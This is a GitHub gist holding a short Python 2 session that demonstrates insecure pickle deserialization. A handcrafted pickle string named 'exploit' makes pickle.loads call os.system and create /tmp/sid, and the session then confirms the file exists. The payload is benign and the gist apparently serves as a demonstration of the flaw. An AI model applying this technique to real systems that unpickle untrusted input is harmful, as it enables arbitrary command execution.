Skip to content

Instantly share code, notes, and snippets.

@prashanthpai
Created September 3, 2015 07:17
Show Gist options
  • Save prashanthpai/91f269f9da9ceebbd608 to your computer and use it in GitHub Desktop.
Save prashanthpai/91f269f9da9ceebbd608 to your computer and use it in GitHub Desktop.
example pickle
[root@rhs31 ~]# python
Python 2.6.6 (r266:84292, May 22 2015, 08:34:51)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-15)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle as pickle
>>> import os
>>> exploit = "cos\nsystem\n(S'touch /tmp/sid'\ntR.'\ntR."
>>> pickle.loads(exploit)
0
>>> 'sid' in os.listdir('/tmp')
True
>>>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment